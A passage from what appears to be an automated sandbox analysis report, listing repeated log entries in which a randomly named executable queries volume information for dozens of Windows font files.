Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\b5Tu0LaQfn6bnAD.exe Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation Jump to behavior
